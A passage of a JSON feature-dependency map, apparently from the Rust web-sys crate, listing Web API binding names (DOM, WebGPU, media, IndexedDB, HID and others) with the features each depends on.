ssConditionRule\",\"CssGroupingRule\",\"CssRule\"],\"CssTransition\":[\"Animation\",\"EventTarget\"],\"CustomElementRegistry\":[],\"CustomEvent\":[\"Event\"],\"CustomEventInit\":[],\"DataTransfer\":[],\"DataTransferItem\":[],\"DataTransferItemList\":[],\"DateTimeValue\":[],\"DecoderDoctorNotification\":[],\"DecoderDoctorNotificationType\":[],\"DecompressionStream\":[],\"DedicatedWorkerGlobalScope\":[\"EventTarget\",\"WorkerGlobalScope\"],\"DelayNode\":[\"AudioNode\",\"EventTarget\"],\"DelayOptions\":[],\"DeviceAcceleration\":[],\"DeviceAccelerationInit\":[],\"DeviceLightEvent\":[\"Event\"],\"DeviceLightEventInit\":[],\"DeviceMotionEvent\":[\"Event\"],\"DeviceMotionEventInit\":[],\"DeviceOrientationEvent\":[\"Event\"],\"DeviceOrientationEventInit\":[],\"DeviceProximityEvent\":[\"Event\"],\"DeviceProximityEventInit\":[],\"DeviceRotationRate\":[],\"DeviceRotationRateInit\":[],\"DhKeyDeriveParams\":[],\"DirectionSetting\":[],\"Directory\":[],\"DirectoryPickerOptions\":[],\"DisplayMediaStreamConstraints\":[],\"DisplayNameOptions\":[],\"DisplayNameResult\":[],\"DistanceModelType\":[],\"DnsCacheDict\":[],\"DnsCacheEntry\":[],\"DnsLookupDict\":[],\"Document\":[\"EventTarget\",\"Node\"],\"DocumentFragment\":[\"EventTarget\",\"Node\"],\"DocumentTimeline\":[\"AnimationTimeline\"],\"DocumentTimelineOptions\":[],\"DocumentType\":[\"EventTarget\",\"Node\"],\"DomError\":[],\"DomException\":[],\"DomImplementation\":[],\"DomMatrix\":[\"DomMatrixReadOnly\"],\"DomMatrix2dInit\":[],\"DomMatrixInit\":[],\"DomMatrixReadOnly\":[],\"DomParser\":[],\"DomPoint\":[\"DomPointReadOnly\"],\"DomPointInit\":[],\"DomPointReadOnly\":[],\"DomQuad\":[],\"DomQuadInit\":[],\"DomQuadJson\":[],\"DomRect\":[\"DomRectReadOnly\"],\"DomRectInit\":[],\"DomRectList\":[],\"DomRectReadOnly\":[],\"DomRequest\":[\"EventTarget\"],\"DomRequestReadyState\":[],\"DomStringList\":[],\"DomStringMap\":[],\"DomTokenList\":[],\"DomWindowResizeEventDetail\":[],\"DoubleRange\":[],\"DragEvent\":[\"Event\",\"MouseEvent\",\"UiEvent\"],\"DragEventInit\":[],\"DynamicsCompressorNode\":[\"AudioNode\",\"EventTarget\"],\"DynamicsCompressorOptions\":[],\"EcKeyAlgorithm\":[],\"EcKeyGenParams\":[],\"EcKeyImportParams\":[],\"EcdhKeyDeriveParams\":[],\"EcdsaParams\":[],\"EffectTiming\":[],\"Element\":[\"EventTarget\",\"Node\"],\"ElementCreationOptions\":[],\"ElementDefinitionOptions\":[],\"EncodedAudioChunk\":[],\"EncodedAudioChunkInit\":[],\"EncodedAudioChunkMetadata\":[],\"EncodedAudioChunkType\":[],\"EncodedVideoChunk\":[],\"EncodedVideoChunkInit\":[],\"EncodedVideoChunkMetadata\":[],\"EncodedVideoChunkType\":[],\"EndingTypes\":[],\"ErrorCallback\":[],\"ErrorEvent\":[\"Event\"],\"ErrorEventInit\":[],\"Event\":[],\"EventInit\":[],\"EventListener\":[],\"EventListenerOptions\":[],\"EventModifierInit\":[],\"EventSource\":[\"EventTarget\"],\"EventSourceInit\":[],\"EventTarget\":[],\"Exception\":[],\"ExtBlendMinmax\":[],\"ExtColorBufferFloat\":[],\"ExtColorBufferHalfFloat\":[],\"ExtDisjointTimerQuery\":[],\"ExtFragDepth\":[],\"ExtSRgb\":[],\"ExtShaderTextureLod\":[],\"ExtTextureFilterAnisotropic\":[],\"ExtTextureNorm16\":[],\"ExtendableCookieChangeEvent\":[\"Event\",\"ExtendableEvent\"],\"ExtendableCookieChangeEventInit\":[],\"ExtendableEvent\":[\"Event\"],\"ExtendableEventInit\":[],\"ExtendableMessageEvent\":[\"Event\",\"ExtendableEvent\"],\"ExtendableMessageEventInit\":[],\"External\":[],\"FakePluginMimeEntry\":[],\"FakePluginTagInit\":[],\"FetchEvent\":[\"Event\",\"ExtendableEvent\"],\"FetchEventInit\":[],\"FetchObserver\":[\"EventTarget\"],\"FetchReadableStreamReadDataArray\":[],\"FetchReadableStreamReadDataDone\":[],\"FetchState\":[],\"File\":[\"Blob\"],\"FileCallback\":[],\"FileList\":[],\"FilePickerAcceptType\":[],\"FilePickerOptions\":[],\"FilePropertyBag\":[],\"FileReader\":[\"EventTarget\"],\"FileReaderSync\":[],\"FileSystem\":[],\"FileSystemCreateWritableOptions\":[],\"FileSystemDirectoryEntry\":[\"FileSystemEntry\"],\"FileSystemDirectoryHandle\":[\"FileSystemHandle\"],\"FileSystemDirectoryReader\":[],\"FileSystemEntriesCallback\":[],\"FileSystemEntry\":[],\"FileSystemEntryCallback\":[],\"FileSystemFileEntry\":[\"FileSystemEntry\"],\"FileSystemFileHandle\":[\"FileSystemHandle\"],\"FileSystemFlags\":[],\"FileSystemGetDirectoryOptions\":[],\"FileSystemGetFileOptions\":[],\"FileSystemHandle\":[],\"FileSystemHandleKind\":[],\"FileSystemHandlePermissionDescriptor\":[],\"FileSystemPermissionDescriptor\":[],\"FileSystemPermissionMode\":[],\"FileSystemReadWriteOptions\":[],\"FileSystemRemoveOptions\":[],\"FileSystemSyncAccessHandle\":[],\"FileSystemWritableFileStream\":[\"WritableStream\"],\"FillMode\":[],\"FlashClassification\":[],\"FlowControlType\":[],\"FocusEvent\":[\"Event\",\"UiEvent\"],\"FocusEventInit\":[],\"FocusOptions\":[],\"FontData\":[],\"FontFace\":[],\"FontFaceDescriptors\":[],\"FontFaceLoadStatus\":[],\"FontFaceSet\":[\"EventTarget\"],\"FontFaceSetIterator\":[],\"FontFaceSetIteratorResult\":[],\"FontFaceSetLoadEvent\":[\"Event\"],\"FontFaceSetLoadEventInit\":[],\"FontFaceSetLoadStatus\":[],\"FormData\":[],\"FrameType\":[],\"FuzzingFunctions\":[],\"GainNode\":[\"AudioNode\",\"EventTarget\"],\"GainOptions\":[],\"Gamepad\":[],\"GamepadButton\":[],\"GamepadEffectParameters\":[],\"GamepadEvent\":[\"Event\"],\"GamepadEventInit\":[],\"GamepadHand\":[],\"GamepadHapticActuator\":[],\"GamepadHapticActuatorType\":[],\"GamepadHapticEffectType\":[],\"GamepadHapticsResult\":[],\"GamepadMappingType\":[],\"GamepadPose\":[],\"GamepadTouch\":[],\"Geolocation\":[],\"GestureEvent\":[\"Event\",\"UiEvent\"],\"GetAnimationsOptions\":[],\"GetRootNodeOptions\":[],\"GetUserMediaRequest\":[],\"Gpu\":[],\"GpuAdapter\":[],\"GpuAdapterInfo\":[],\"GpuAddressMode\":[],\"GpuAutoLayoutMode\":[],\"GpuBindGroup\":[],\"GpuBindGroupDescriptor\":[],\"GpuBindGroupEntry\":[],\"GpuBindGroupLayout\":[],\"GpuBindGroupLayoutDescriptor\":[],\"GpuBindGroupLayoutEntry\":[],\"GpuBlendComponent\":[],\"GpuBlendFactor\":[],\"GpuBlendOperation\":[],\"GpuBlendState\":[],\"GpuBuffer\":[],\"GpuBufferBinding\":[],\"GpuBufferBindingLayout\":[],\"GpuBufferBindingType\":[],\"GpuBufferDescriptor\":[],\"GpuBufferMapState\":[],\"GpuCanvasAlphaMode\":[],\"GpuCanvasConfiguration\":[],\"GpuCanvasContext\":[],\"GpuCanvasToneMapping\":[],\"GpuCanvasToneMappingMode\":[],\"GpuColorDict\":[],\"GpuColorTargetState\":[],\"GpuCommandBuffer\":[],\"GpuCommandBufferDescriptor\":[],\"GpuCommandEncoder\":[],\"GpuCommandEncoderDescriptor\":[],\"GpuCompareFunction\":[],\"GpuCompilationInfo\":[],\"GpuCompilationMessage\":[],\"GpuCompilationMessageType\":[],\"GpuComputePassDescriptor\":[],\"GpuComputePassEncoder\":[],\"GpuComputePassTimestampWrites\":[],\"GpuComputePipeline\":[],\"GpuComputePipelineDescriptor\":[],\"GpuCopyExternalImageDestInfo\":[],\"GpuCopyExternalImageSourceInfo\":[],\"GpuCullMode\":[],\"GpuDepthStencilState\":[],\"GpuDevice\":[\"EventTarget\"],\"GpuDeviceDescriptor\":[],\"GpuDeviceLostInfo\":[],\"GpuDeviceLostReason\":[],\"GpuError\":[],\"GpuErrorFilter\":[],\"GpuExtent3dDict\":[],\"GpuExternalTexture\":[],\"GpuExternalTextureBindingLayout\":[],\"GpuExternalTextureDescriptor\":[],\"GpuFeatureName\":[],\"GpuFilterMode\":[],\"GpuFragmentState\":[],\"GpuFrontFace\":[],\"GpuIndexFormat\":[],\"GpuInternalError\":[\"GpuError\"],\"GpuLoadOp\":[],\"GpuMipmapFilterMode\":[],\"GpuMultisampleState\":[],\"GpuObjectDescriptorBase\":[],\"GpuOrigin2dDict\":[],\"GpuOrigin3dDict\":[],\"GpuOutOfMemoryError\":[\"GpuError\"],\"GpuPipelineDescriptorBase\":[],\"GpuPipelineError\":[\"DomException\"],\"GpuPipelineErrorInit\":[],\"GpuPipelineErrorReason\":[],\"GpuPipelineLayout\":[],\"GpuPipelineLayoutDescriptor\":[],\"GpuPowerPreference\":[],\"GpuPrimitiveState\":[],\"GpuPrimitiveTopology\":[],\"GpuProgrammableStage\":[],\"GpuQuerySet\":[],\"GpuQuerySetDescriptor\":[],\"GpuQueryType\":[],\"GpuQueue\":[],\"GpuQueueDescriptor\":[],\"GpuRenderBundle\":[],\"GpuRenderBundleDescriptor\":[],\"GpuRenderBundleEncoder\":[],\"GpuRenderBundleEncoderDescriptor\":[],\"GpuRenderPassColorAttachment\":[],\"GpuRenderPassDepthStencilAttachment\":[],\"GpuRenderPassDescriptor\":[],\"GpuRenderPassEncoder\":[],\"GpuRenderPassLayout\":[],\"GpuRenderPassTimestampWrites\":[],\"GpuRenderPipeline\":[],\"GpuRenderPipelineDescriptor\":[],\"GpuRequestAdapterOptions\":[],\"GpuSampler\":[],\"GpuSamplerBindingLayout\":[],\"GpuSamplerBindingType\":[],\"GpuSamplerDescriptor\":[],\"GpuShaderModule\":[],\"GpuShaderModuleCompilationHint\":[],\"GpuShaderModuleDescriptor\":[],\"GpuStencilFaceState\":[],\"GpuStencilOperation\":[],\"GpuStorageTextureAccess\":[],\"GpuStorageTextureBindingLayout\":[],\"GpuStoreOp\":[],\"GpuSupportedFeatures\":[],\"GpuSupportedLimits\":[],\"GpuTexelCopyBufferInfo\":[],\"GpuTexelCopyBufferLayout\":[],\"GpuTexelCopyTextureInfo\":[],\"GpuTexture\":[],\"GpuTextureAspect\":[],\"GpuTextureBindingLayout\":[],\"GpuTextureDescriptor\":[],\"GpuTextureDimension\":[],\"GpuTextureFormat\":[],\"GpuTextureSampleType\":[],\"GpuTextureView\":[],\"GpuTextureViewDescriptor\":[],\"GpuTextureViewDimension\":[],\"GpuUncapturedErrorEvent\":[\"Event\"],\"GpuUncapturedErrorEventInit\":[],\"GpuValidationError\":[\"GpuError\"],\"GpuVertexAttribute\":[],\"GpuVertexBufferLayout\":[],\"GpuVertexFormat\":[],\"GpuVertexState\":[],\"GpuVertexStepMode\":[],\"GroupedHistoryEventInit\":[],\"HalfOpenInfoDict\":[],\"HardwareAcceleration\":[],\"HashChangeEvent\":[\"Event\"],\"HashChangeEventInit\":[],\"Headers\":[],\"HeadersGuardEnum\":[],\"Hid\":[\"EventTarget\"],\"HidCollectionInfo\":[],\"HidConnectionEvent\":[\"Event\"],\"HidConnectionEventInit\":[],\"HidDevice\":[\"EventTarget\"],\"HidDeviceFilter\":[],\"HidDeviceRequestOptions\":[],\"HidInputReportEvent\":[\"Event\"],\"HidInputReportEventInit\":[],\"HidReportInfo\":[],\"HidReportItem\":[],\"HidUnitSystem\":[],\"HiddenPluginEventInit\":[],\"History\":[],\"HitRegionOptions\":[],\"HkdfParams\":[],\"HmacDerivedKeyParams\":[],\"HmacImportParams\":[],\"HmacKeyAlgorithm\":[],\"HmacKeyGenParams\":[],\"HtmlAllCollection\":[],\"HtmlAnchorElement\":[\"Element\",\"EventTarget\",\"HtmlElement\",\"Node\"],\"HtmlAreaElement\":[\"Element\",\"EventTarget\",\"HtmlElement\",\"Node\"],\"HtmlAudioElement\":[\"Element\",\"EventTarget\",\"HtmlElement\",\"HtmlMediaElement\",\"Node\"],\"HtmlBaseElement\":[\"Element\",\"EventTarget\",\"HtmlElement\",\"Node\"],\"HtmlBodyElement\":[\"Element\",\"EventTarget\",\"HtmlElement\",\"Node\"],\"HtmlBrElement\":[\"Element\",\"EventTarget\",\"HtmlElement\",\"Node\"],\"HtmlButtonElement\":[\"Element\",\"EventTarget\",\"HtmlElement\",\"Node\"],\"HtmlCanvasElement\":[\"Element\",\"EventTarget\",\"HtmlElement\",\"Node\"],\"HtmlCollection\":[],\"HtmlDListElement\":[\"Element\",\"EventTarget\",\"HtmlElement\",\"Node\"],\"HtmlDataElement\":[\"Element\",\"EventTarget\",\"HtmlElement\",\"Node\"],\"HtmlDataListElement\":[\"Element\",\"EventTarget\",\"HtmlElement\",\"Node\"],\"HtmlDetailsElement\":[\"Element\",\"EventTarget\",\"HtmlElement\",\"Node\"],\"HtmlDialogElement\":[\"Element\",\"EventTarget\",\"HtmlElement\",\"Node\"],\"HtmlDirectoryElement\":[\"Element\",\"EventTarget\",\"HtmlElement\",\"Node\"],\"HtmlDivElement\":[\"Element\",\"EventTarget\",\"HtmlElement\",\"Node\"],\"HtmlDocument\":[\"Document\",\"EventTarget\",\"Node\"],\"HtmlElement\":[\"Element\",\"EventTarget\",\"Node\"],\"HtmlEmbedElement\":[\"Element\",\"EventTarget\",\"HtmlElement\",\"Node\"],\"HtmlFieldSetElement\":[\"Element\",\"EventTarget\",\"HtmlElement\",\"Node\"],\"HtmlFontElement\":[\"Element\",\"EventTarget\",\"HtmlElement\",\"Node\"],\"HtmlFormControlsCollection\":[\"HtmlCollection\"],\"HtmlFormElement\":[\"Element\",\"EventTarget\",\"HtmlElement\",\"Node\"],\"HtmlFrameElement\":[\"Element\",\"EventTarget\",\"HtmlElement\",\"Node\"],\"HtmlFrameSetElement\":[\"Element\",\"EventTarget\",\"HtmlElement\",\"Node\"],\"HtmlHeadElement\":[\"Element\",\"EventTarget\",\"HtmlElement\",\"Node\"],\"HtmlHeadingElement\":[\"Element\",\"EventTarget\",\"HtmlElement\",\"Node\"],\"HtmlHrElement\":[\"Element\",\"EventTarget\",\"HtmlElement\",\"Node\"],\"HtmlHtmlElement\":[\"Element\",\"EventTarget\",\"HtmlElement\",\"Node\"],\"HtmlIFrameElement\":[\"Element\",\"EventTarget\",\"HtmlElement\",\"Node\"],\"HtmlImageElement\":[\"Element\",\"EventTarget\",\"HtmlElement\",\"Node\"],\"HtmlInputElement\":[\"Element\",\"EventTarget\",\"HtmlElement\",\"Node\"],\"HtmlLabelElement\":[\"Element\",\"EventTarget\",\"HtmlElement\",\"Node\"],\"HtmlLegendElement\":[\"Element\",\"EventTarget\",\"HtmlElement\",\"Node\"],\"HtmlLiElement\":[\"Element\",\"EventTarget\",\"HtmlElement\",\"Node\"],\"HtmlLinkElement\":[\"Element\",\"EventTarget\",\"HtmlElement\",\"Node\"],\"HtmlMapElement\":[\"Element\",\"EventTarget\",\"HtmlElement\",\"Node\"],\"HtmlMediaElement\":[\"Element\",\"EventTarget\",\"HtmlElement\",\"Node\"],\"HtmlMenuElement\":[\"Element\",\"EventTarget\",\"HtmlElement\",\"Node\"],\"HtmlMenuItemElement\":[\"Element\",\"EventTarget\",\"HtmlElement\",\"Node\"],\"HtmlMetaElement\":[\"Element\",\"EventTarget\",\"HtmlElement\",\"Node\"],\"HtmlMeterElement\":[\"Element\",\"EventTarget\",\"HtmlElement\",\"Node\"],\"HtmlModElement\":[\"Element\",\"EventTarget\",\"HtmlElement\",\"Node\"],\"HtmlOListElement\":[\"Element\",\"EventTarget\",\"HtmlElement\",\"Node\"],\"HtmlObjectElement\":[\"Element\",\"EventTarget\",\"HtmlElement\",\"Node\"],\"HtmlOptGroupElement\":[\"Element\",\"EventTarget\",\"HtmlElement\",\"Node\"],\"HtmlOptionElement\":[\"Element\",\"EventTarget\",\"HtmlElement\",\"Node\"],\"HtmlOptionsCollection\":[\"HtmlCollection\"],\"HtmlOutputElement\":[\"Element\",\"EventTarget\",\"HtmlElement\",\"Node\"],\"HtmlParagraphElement\":[\"Element\",\"EventTarget\",\"HtmlElement\",\"Node\"],\"HtmlParamElement\":[\"Element\",\"EventTarget\",\"HtmlElement\",\"Node\"],\"HtmlPictureElement\":[\"Element\",\"EventTarget\",\"HtmlElement\",\"Node\"],\"HtmlPreElement\":[\"Element\",\"EventTarget\",\"HtmlElement\",\"Node\"],\"HtmlProgressElement\":[\"Element\",\"EventTarget\",\"HtmlElement\",\"Node\"],\"HtmlQuoteElement\":[\"Element\",\"EventTarget\",\"HtmlElement\",\"Node\"],\"HtmlScriptElement\":[\"Element\",\"EventTarget\",\"HtmlElement\",\"Node\"],\"HtmlSelectElement\":[\"Element\",\"EventTarget\",\"HtmlElement\",\"Node\"],\"HtmlSlotElement\":[\"Element\",\"EventTarget\",\"HtmlElement\",\"Node\"],\"HtmlSourceElement\":[\"Element\",\"EventTarget\",\"HtmlElement\",\"Node\"],\"HtmlSpanElement\":[\"Element\",\"EventTarget\",\"HtmlElement\",\"Node\"],\"HtmlStyleElement\":[\"Element\",\"EventTarget\",\"HtmlElement\",\"Node\"],\"HtmlTableCaptionElement\":[\"Element\",\"EventTarget\",\"HtmlElement\",\"Node\"],\"HtmlTableCellElement\":[\"Element\",\"EventTarget\",\"HtmlElement\",\"Node\"],\"HtmlTableColElement\":[\"Element\",\"EventTarget\",\"HtmlElement\",\"Node\"],\"HtmlTableElement\":[\"Element\",\"EventTarget\",\"HtmlElement\",\"Node\"],\"HtmlTableRowElement\":[\"Element\",\"EventTarget\",\"HtmlElement\",\"Node\"],\"HtmlTableSectionElement\":[\"Element\",\"EventTarget\",\"HtmlElement\",\"Node\"],\"HtmlTemplateElement\":[\"Element\",\"EventTarget\",\"HtmlElement\",\"Node\"],\"HtmlTextAreaElement\":[\"Element\",\"EventTarget\",\"HtmlElement\",\"Node\"],\"HtmlTimeElement\":[\"Element\",\"EventTarget\",\"HtmlElement\",\"Node\"],\"HtmlTitleElement\":[\"Element\",\"EventTarget\",\"HtmlElement\",\"Node\"],\"HtmlTrackElement\":[\"Element\",\"EventTarget\",\"HtmlElement\",\"Node\"],\"HtmlUListElement\":[\"Element\",\"EventTarget\",\"HtmlElement\",\"Node\"],\"HtmlUnknownElement\":[\"Element\",\"EventTarget\",\"HtmlElement\",\"Node\"],\"HtmlVideoElement\":[\"Element\",\"EventTarget\",\"HtmlElement\",\"HtmlMediaElement\",\"Node\"],\"HttpConnDict\":[],\"HttpConnInfo\":[],\"HttpConnectionElement\":[],\"IdbCursor\":[],\"IdbCursorDirection\":[],\"IdbCursorWithValue\":[\"IdbCursor\"],\"IdbDatabase\":[\"EventTarget\"],\"IdbFactory\":[],\"IdbFileHandle\":[\"EventTarget\"],\"IdbFileMetadataParameters\":[],\"IdbFileRequest\":[\"DomRequest\",\"EventTarget\"],\"IdbIndex\":[],\"IdbIndexParameters\":[],\"IdbKeyRange\":[],\"IdbLocaleAwareKeyRange\":[\"IdbKeyRange\"],\"IdbMutableFile\":[\"EventTarget\"],\"IdbObjectStore\":[],\"IdbObjectStoreParameters\":[],\"IdbOpenDbOptions\":[],\"IdbOpenDbRequest\":[\"EventTarget\",\"IdbRequest\"],\"IdbRequest\":[\"EventTarget\"],\"IdbRequestReadyState\":[],\"IdbTransaction\":[\"EventTarget\"],\"IdbTransactionDurability\":[],\"IdbTransactionMode\":[],\"IdbTransactionOptions\":[],\"IdbVersionChangeEvent\":[\"Event\"],\"IdbVersionChangeEventInit\":[],\"IdleDeadline\":[],\"IdleRequestOptions\":[],\"IirFilterNode\":[\"AudioNode\",\"EventTarget\"],\"IirFilterOptions\":[],\"ImageBitmap\":[],\"ImageBitmapOptions\":[],\"ImageBitmapRenderingContext\":[],\"ImageCapture\":[],\"ImageCaptureError\":[],\"ImageCaptureErrorEvent\":[\"Event\"],\"ImageCaptureErrorEventInit\":[],\"ImageData\":[],\"ImageDecodeOptions\":[],\"ImageDecodeResult\":[],\"ImageDecoder\":[],\"ImageDecoderInit\":[],\"ImageEncodeOptions\":[],\"ImageOrientation\":[],\"ImageTrack\":[\"EventTarget\"],\"ImageTrackList\":[],\"InputDeviceInfo\":[\"MediaDeviceInfo\"],\"InputEvent\":[\"Event\",\"UiEvent\"],\"InputEventInit\":[],\"IntersectionObserver\":[],\"IntersectionObserverEntry\":[],\"IntersectionObserverEntryInit\":[],\"IntersectionObserverInit\":[],\"IntlUtils\":[],\"IsInputPendingOptions\":[],\"IterableKeyAndValueResult\":[],\"IterableKeyOrValueResult\":[],\"IterationCompositeOperation\":[],\"JsonWebKey\":[],\"KeyAlgorithm\":[],\"KeyEvent\":[],\"KeyFrameRequestEvent\":[\"Event\"],\"KeyIdsInitData\":[],\"KeyboardEvent\":[\"Event\",\"UiEvent\"],\"KeyboardEventInit\":[],\"KeyframeAnimationOptions\":[],\"KeyframeEffect\":[\"AnimationEffect\"],\"KeyframeEffectOptions\":[],\"L10nElement\":[],\"L10nValue\":[],\"LargeBlobSupport\":[],\"LatencyMode\":[],\"LifecycleCallbacks\":[],\"LineAlignSetting\":[],\"ListBoxObject\":[],\"LocalMediaStream\":[\"EventTarget\",\"MediaStream\"],\"LocaleInfo\":[],\"Location\":[],\"Lock\":[],\"LockInfo\":[],\"LockManager\":[],\"LockManagerSnapshot\":[],\"LockMode\":[],\"LockOptions\":[],\"MathMlElement\":[\"Element\",\"EventTarget\",\"Node\"],\"MediaCapabilities\":[],\"MediaCapabilitiesInfo\":[],\"MediaConfiguration\":[],\"MediaDecodingConfiguration\":[],\"MediaDecodingType\":[],\"MediaDeviceInfo\":[],\"MediaDeviceKind\":[],\"MediaDevices\":[\"EventTarget\"],\"MediaElementAudioSourceNode\":[\"AudioNode\",\"EventTarget\"],\"MediaElementAudioSourceOptions\":[],\"MediaEncodingConfiguration\":[],\"MediaEncodingType\":[],\"MediaEncryptedEvent\":[\"Event\"],\"MediaError\":[],\"MediaImage\":[],\"MediaKeyError\":[\"Event\"],\"MediaKeyMessageEvent\":[\"Event\"],\"MediaKeyMessageEventInit\":[],\"MediaKeyMessageType\":[],\"MediaKeyNeededEventInit\":[],\"MediaKeySession\":[\"EventTarget\"],\"MediaKeySessionType\":[],\"MediaKeyStatus\":[],\"MediaKeyStatusMap\":[],\"MediaKeySystemAccess\":[],\"MediaKeySystemConfiguration\":[],\"MediaKeySystemMediaCapability\":[],\"MediaKeySystemStatus\":[],\"MediaKeys\":[],\"MediaKeysPolicy\":[],\"MediaKeysRequirement\":[],\"MediaList\":[],\"MediaMetadata\":[],\"MediaMetadataInit\":[],\"MediaPositionState\":[],\"MediaQueryList\":[\"EventTarget\"],\"MediaQueryListEvent\":[\"Event\"],\"MediaQueryListEventInit\":[],\"MediaRecorder\":[\"EventTarget\"],\"MediaRecorderErrorEvent\":[\"Event\"],\"MediaRecorderErrorEventInit\":[],\"MediaRecorderOptions\":[],\"MediaSession\":[],\"MediaSessionAction\":[],\"MediaSessionActionDetails\":[],\"MediaSessionPlaybackState\":[],\"MediaSource\":[\"EventTarget\"],\"MediaSourceEndOfStreamError\":[],\"MediaSourceEnum\":[],\"MediaSourceReadyState\":[],\"MediaStream\":[\"EventTarget\"],\"MediaStreamAudioDestinationNode\":[\"AudioNode\",\"EventTarget\"],\"MediaStreamAudioSourceNode\":[\"AudioNode\",\"EventTarget\"],\"MediaStreamAudioSourceOptions\":[],\"MediaStreamConstraints\":[],\"MediaStreamError\":[],\"MediaStreamEvent\":[\"Event\"],\"MediaStreamEventInit\":[],\"MediaStreamTrack\":[\"EventTarget\"],\"MediaStreamTrackEvent\":[\"Event\"],\"MediaStreamTrackEventInit\":[],\"MediaStreamTrackGenerator\":[\"EventTarget\",\"MediaStreamTrack\"],\"MediaStreamTrackGeneratorInit\":[],\"MediaStreamTrackProcessor\":[],\"MediaStreamTrackProcessorInit\":[],\"MediaStreamTrackState\":[],\"MediaTrackCapabilities\":[],\"MediaTrackConstraintSet\":[],\"MediaTrackConstraints\":[],\"MediaTrackSettings\":[],\"MediaTrackSupportedConstraints\":[],\"MemoryAttribution\":[],\"MemoryAttributionContainer\":[],\"MemoryBreakdownEntry\":[],\"MemoryMeasurement\":[],\"MessageChannel\":[],\"MessageEvent\":[\"Event\"],\"MessageEventInit\":[],\"MessagePort\":[\"EventTarget\"],\"MidiAccess\":[\"EventTarget\"],\"MidiConnectionEvent\":[\"Event\"],\"MidiConnectionEventInit\":[],\"MidiInput\":[\"EventTarget\",\"MidiPort\"],\"MidiInputMap\":[],\"MidiMessageEvent\":[\"Event\"],\"MidiMessageEventInit\":[],\"MidiOptions\":[],\"MidiOutput\":[\"EventTarget\",\"MidiPort\"],\"MidiOutputMap\":[],\"MidiPort\":[\"EventTarget\"],\"MidiPortConnectionState\":[],\"MidiPortDeviceState\":[],\"MidiPortType\":[],\"MimeType\":[],\"MimeTypeArray\":[],\"MouseEvent\":[\"Event\",\"UiEvent\"],\"MouseEventInit\":[],\"MouseScrollEvent\":[\"Event\",\"MouseEvent\",\"UiEvent\"],\"MozDebug\":[],\"MutationEvent\":[\"Event\"],\"MutationObserver\":[],\"MutationObserverInit\":[],\"MutationObservingInfo\":[],\"MutationRecord\":[],\"NamedNodeMap\":[],\"NativeOsFileReadOptions\":[],\"NativeOsFileWriteAtomicOptions\":[],\"NavigationType\":[],\"Navigator\":[],\"NavigatorAutomationInformation\":[],\"NavigatorUaBrandVersion\":[],\"NavigatorUaData\":[],\"NetworkCommandOptions\":[],\"NetworkInformation\":[\"EventTarget\"],\"NetworkResultOptions\":[],\"Node\":[\"EventTarget\"],\"NodeFilter\":[],\"NodeIterator\":[],\"NodeList\":[],\"Notification\":[\"EventTarget\"],\"NotificationAction\":[],\"NotificationDirection\":[],\"NotificationEvent\":[\"Event\",\"ExtendableEvent\"],\"NotificationEventInit\":[],\"NotificationOptions\":[],\"NotificationPermission\":[],\"ObserverCallback\":[],\"OesElementIndexUint\":[],\"OesStandardDerivatives\":[],\"OesTextureFloat\":[],\"OesTextureFloatLinear\":[],\"OesTextureHalfFloat\":[],\"OesTextureHalfFloatLinear\":[],\"OesVertexArrayObject\":[],\"OfflineAudioCompletionEvent\":[\"Event\"],\"OfflineAudioCompletionEventInit\":[],\"OfflineAudioContext\":[\"BaseAudioContext\",\"EventTarget\"],\"OfflineAudioContextOptions\":[],\"OfflineResourceList\":[\"EventTarget\"],\"OffscreenCanvas\":[\"EventTarget\"],\"OffscreenCanvasRenderingContext2d\":[],\"OpenFilePickerOptions\":[],\"OpenWindowEventDetail\":[],\"OptionalEffectTiming\":[],\"OrientationLockType\":[],\"OrientationType\":[],\"OscillatorNode\":[\"AudioNode\",\"AudioScheduledSourceNode\",\"EventTarget\"],\"OscillatorOptions\":[],\"OscillatorType\":[],\"OverSampleType\":[],\"OvrMultiview2\":[],\"PageTransitionEvent\":[\"Event\"],\"PageTransitionEventInit\":[],\"PaintRequest\":[],\"PaintRequestList\":[],\"PaintWorkletGlobalScope\":[\"WorkletGlobalScope\"],\"PannerNode\":[\"AudioNode\",\"EventTarget\"],\"PannerOptions\":[],\"PanningModelType\":[],\"ParityType\":[],\"Path2d\":[],\"PaymentAddress\":[],\"PaymentComplete\":[],\"PaymentMethodChangeEvent\":[\"Event\",\"PaymentRequestUpdateEvent\"],\"PaymentMethodChangeEventInit\":[],\"PaymentRequestUpdateEvent\":[\"Event\"],\"PaymentRequestUpdateEventInit\":[],\"PaymentResponse\":[],\"Pbkdf2Params\":[],\"PcImplIceConnectionState\":[],\"PcImplIceGatheringState\":[],\"PcImplSignalingState\":[],\"PcObserverStateType\":[],\"Performance\":[\"EventTarget\"],\"PerformanceEntry\":[],\"PerformanceEntryEventInit\":[],\"PerformanceEntryFilterOptions\":[],\"PerformanceMark\":[\"PerformanceEntry\"],\"PerformanceMeasure\":[\"PerformanceEntry\"],\"PerformanceNavigation\":[],\"PerformanceNavigationTiming\":[\"PerformanceEntry\",\"PerformanceResourceTiming\"],\"PerformanceObserver\":[],\"PerformanceObserverEntryList\":[],\"PerformanceObserverInit\":[],\"PerformanceResourceTiming\":[\"PerformanceEntry\"],\"PerformanceServerTiming\":[],\"PerformanceTiming\":[],\"PeriodicWave\":[],\"PeriodicWaveConstraints\":[],\"PeriodicWaveOptions\":[],\"PermissionDescriptor\":[],\"PermissionName\":[],\"PermissionState\":[],\"PermissionStatus\":[\"EventTarget\"],\"Permissions\":[],\"PictureInPictureEvent\":[\"Event\"],\"PictureInPictureEventInit\":[],\"PictureInPictureWindow\":[\"EventTarget\"],\"PlaneLayout\":[],\"PlaybackDirection\":[],\"Plugin\":[],\"PluginArray\":[],\"PluginCrashedEventInit\":[],\"PointerEvent\":[\"Event\",\"MouseEvent\",\"UiEvent\"],\"PointerEventInit\":[],\"PopStateEvent\":[\"Event\"],\"PopStateEventInit\":[],\"PopupBlockedEvent\":[\"Event\"],\"PopupBlockedEventInit\":[],\"Position\":[],\"PositionAlignSetting\":[],\"PositionError\":[],\"PositionOptions\":[],\"PremultiplyAlpha\":[],\"Presentation\":[],\"PresentationAvailability\":[\"EventTarget\"],\"PresentationConnection\":[\"EventTarget\"],\"PresentationConnectionAvailableEvent\":[\"Event\"],\"PresentationConnectionAvailableEventInit\":[],\"PresentationConnectionBinaryType\":[],\"PresentationConnectionCloseEvent\":[\"Event\"],\"PresentationConnectionCloseEventInit\":[],\"PresentationConnectionClosedReason\":[],\"PresentationConnectionList\":[\"EventTarget\"],\"PresentationConnectionState\":[],\"PresentationReceiver\":[],\"PresentationRequest\":[\"EventT